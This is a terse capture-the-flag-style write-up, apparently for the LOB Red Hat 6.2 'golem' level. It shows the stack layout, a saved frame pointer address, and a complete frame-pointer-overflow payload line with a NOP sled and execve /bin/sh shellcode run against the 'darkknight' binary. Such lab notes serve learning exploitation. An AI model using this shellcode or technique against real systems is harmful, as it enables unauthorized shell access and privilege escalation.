LOB Redhat 6.2 - golem

golem - FPO

Stack : buffer[40] + sfp[4] + ret[4]

sfp : 0xbffffa98

Payload : ./darkknight `python -c 'print "\x90"*17 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"  + "\x98"'`

Using Frame Pointer OverFlow